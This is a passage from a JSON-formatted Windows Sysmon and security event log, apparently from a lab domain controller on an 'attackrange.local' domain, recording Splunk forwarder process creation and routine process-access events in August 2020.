","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59378","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.562\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nSourceProcessId: 3636\r\nSourceThreadId: 3612\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.562","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","SourceProcessId":"3636","SourceThreadId":"3612","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.605\r\nProcessGuid: {90617006-3FE7-5F2D-0000-001020350300}\r\nProcessId: 3656\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd\" check-transforms-keys\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.605","ProcessGuid":"{90617006-3FE7-5F2D-0000-001020350300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd\" check-transforms-keys","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18226|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18226|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 